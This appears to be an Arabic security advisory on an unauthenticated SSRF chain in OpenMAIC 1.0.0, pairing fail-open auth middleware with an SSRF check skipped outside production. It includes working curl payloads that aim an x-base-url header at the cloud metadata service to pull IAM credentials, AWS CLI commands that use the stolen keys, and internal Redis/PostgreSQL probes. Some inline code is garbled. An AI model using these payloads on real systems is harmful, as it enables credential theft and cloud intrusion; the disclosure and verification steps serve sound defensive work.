
OpenMAIC 1.0.0: SSRF خارجي غير مُصادَق عليه إلى خدمة البيانات الوصفية السحابية عبر برمجية وسيطة Fail-Open وتجاوز التحقق المُقيَّد بالبيئة
مُتحقَّق منه. توجد سلسلة استغلال من مرحلتين في البرمجية الوسيطة للمصادقة في OpenMAIC وطبقة طلبات المزوّد الخارجي، تسمح لمهاجم بعيد غير مُصادَق عليه بأن يجعل خادم التطبيق يُصدر طلبات HTTP خارجية عشوائية - بما في ذلك إلى خدمة البيانات الوصفية للمثيل السحابي (IMDS) على 169.254.169.254 - دون امتلاك أي بيانات اعتماد على الإطلاق.
المرحلة الأولى: تُنفِّذ البرمجية الوسيطة Next.js Edge في middleware.ts وضعية Fail-Open عند غياب متغير البيئة ACCESS_CODE. في إعداد .env.example الافتراضي، يكون ACCESS_CODE غير مُعيَّن، مما يعني أن جميع مسارات API البالغ عددها 70 مسارًا غير مُصادَق عليها عالميًا ويمكن الوصول إليها من أي عميل خارجي.
المرحلة الثانية: عبر خمسة معالجات مسارات API مختلفة، تُمرَّر عناوين URL الأساسية للمزوّد المُقدَّمة من العميل (عبر معاملات الطلب أو ) عبر فقط عندما يكون . في أي بيئة أو أو أو غير مُعيَّنة، يُتخطَّى حارس SSRF بالكامل ويُصدر التطبيق خارجيًا إلى عنوان URL الذي يتحكم فيه المهاجم.
x-base-urlbaseUrlvalidateUrlForSSRF()process.env.NODE_ENV === 'production'developmentstagingpreviewfetch()عند ربطهما معًا: يُقدِّم مهاجم غير مُصادَق عليه x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ إلى أي نقطة نهاية للتوليد، فيجلب الخادم بيانات اعتماد دور IAM السحابي ويُعيدها في الاستجابة. لا حاجة إلى حساب مسبق، ولا رمز، ولا موطئ قدم محلي.
البرمجية الوسيطة هي بوابة المصادقة الوحيدة لجميع مسارات API. عندما لا يكون ACCESS_CODE مُعيَّنًا - وهي الحالة الافتراضية وفقًا لـ .env.example - يمر كل طلب إلى كل مسار فورًا. لا توجد آلية احتياطية، ولا تحذير يُصدَر، ولا فحص مصادقة بديل. نمط Fail-Open غير مشروط وصامت. وهذا يكشف 70 نقطة نهاية API تشمل مسارات التوليد والحفظ والوسيط الإعلامي والاستخراج وتنفيذ الذكاء الاصطناعي لأي مُتصل غير مُصادَق عليه.
تتعامل دالة validateUrlForSSRF في lib/server/ssrf-guard.ts بالفعل مع الاستثناءات الخاصة بالبيئة بشكل صحيح عبر ALLOW_LOCAL_NETWORKS. بوابة NODE_ENV في كل معالج مسار زائدة تمامًا كتسهيل لوضع التطوير، لكنها كارثية كحدود أمنية: فهي تُعطِّل التحقق من SSRF عالميًا عبر بيئات staging وpreview وCI/CD والنشر المُستضاف ذاتيًا حيث لا يكون NODE_ENV مُعيَّنًا صراحةً إلى 'production'.
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d '{"prompt": "test", "model": "dall-e-3"}'
الاستجابة المتوقعة (تمرير IMDS):
ec2-instance-role
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-instance-role" \
-d '{"prompt": "test", "model": "dall-e-3"}'
الاستجابة المتوقعة:
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAXXXXXXXXXXXXXXXXXXX",
"SecretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"Token": "IQoJb3JpZ2luX2VjEA...",
"Expiration": "2026-09-02T00:30:00Z"
}
export AWS_ACCESS_KEY_ID="ASIAXXXXXXXXXXXXXXXXXXX"
export AWS_SECRET_ACCESS_KEY="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEA..."
aws sts get-caller-identity
aws s3 ls
aws iam list-attached-role-policies --role-name ec2-instance-role
# Redis on default port - RESP protocol response returned in API error
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:6379/" \
-d '{"prompt":"INFO"}'
# PostgreSQL on default port
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:5432/" \
-d '{"prompt":"test"}'
| المرحلة | الخطوة | التأثير |
|---|---|---|
| 1. دخول غير مُصادَق عليه | يُرسل عميل بعيد طلب HTTP إلى /api/generate/image بدون ملفات تعريف ارتباط أو رموز | تُقيِّم middleware.ts الشرط !process.env.ACCESS_CODE وتستدعي NextResponse.next() |
| 2. استيعاب الترويسة | يُحدِّد المهاجم العنوان الداخلي المستهدف في الترويسة: x-base-url: http://169.254.169.254/... | يستخرج معالج المسار clientBaseUrl من ترويسات الطلب |
| 3. تجاوز SSRF | بيئة الخادم تحتوي على NODE_ENV !== 'production' (مثل staging أو الإعداد الافتراضي للحاوية) | يُقيِّم المعالج process.env.NODE_ENV === 'production' إلى false ويتخطى validateUrlForSSRF() |
| 4. مصرف الطلب الخارجي | يُهيَّأ عميل الخدمة بعنوان URL الأساسي المُقدَّم من المهاجم ويُنفِّذ الطلب | يُجري الخادم fetch() خارجيًا إلى http://169.254.169.254/ |
| 5. تسريب البيانات الوصفية | تستجيب خدمة البيانات الوصفية للمثيل السحابي ببيانات وصفية أو بيانات اعتماد أمان IAM | يُدمج الخادم جسم استجابة HTTP في حمولة إرجاع API أو رسالة الخطأ |
| 6. التمحور السحابي | يستخرج المهاجم بيانات اعتماد أمان AWS/GCP/Azure المؤقتة | يستخدم المهاجم بيانات الاعتماد السحابية خارجيًا للوصول إلى الموارد السحابية ومخازن البيانات |
الشروط المسبقة:
ACCESS_CODE (الإعداد الافتراضي).NODE_ENV غير مُعيَّن بشكل صارم إلى 'production' (مثل staging أو dev أو الاستضافة الذاتية أو حاوية مُهيَّأة خطأً).لتأكيد إمكانية الوصول والتحقق من الدفاعات الأمنية دون نشر حمولات ضارة:
process.env.ACCESS_CODE غير مُعرَّف، تُعيد middleware.ts القيمة NextResponse.next(). إرسال طلب HTTP بدون ترويسات مصادقة إلى أي نقطة نهاية محمية (مثل POST /api/generate/image) يُنتج استجابة على مستوى نقطة النهاية (مثل 400/401 لإعداد المزوّد) بدلًا من رفض 401 Access Code Required.NODE_ENV="staging" أو NODE_ENV="development"، افحص ما إذا كانت validateUrlForSSRF تُستدعى. بسبب if (clientBaseUrl && process.env.NODE_ENV === 'production')، يقفز التنفيذ متجاوزًا كتلة التحقق ويحاول الاتصال الشبكي بعنوان URL الأساسي المُحدَّد.NODE_ENV='development' ويُقدِّم عنوان URL للاسترجاع المحلي http://127.0.0.1:9999 يتحقق مما إذا كان الطلب مرفوضًا بـ INVALID_URL (403) أو مسموحًا له بالمتابعة إلى النقل الشبكي. في الحالة غير المُرقَّعة، يحاول الطلب اتصال المقبس؛ وفي الحالة المُرقَّعة، يُرفض فورًا بـ HTTP 403.